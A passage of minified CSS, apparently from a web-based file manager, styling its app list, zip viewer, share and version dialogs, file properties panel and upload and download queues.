#CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons 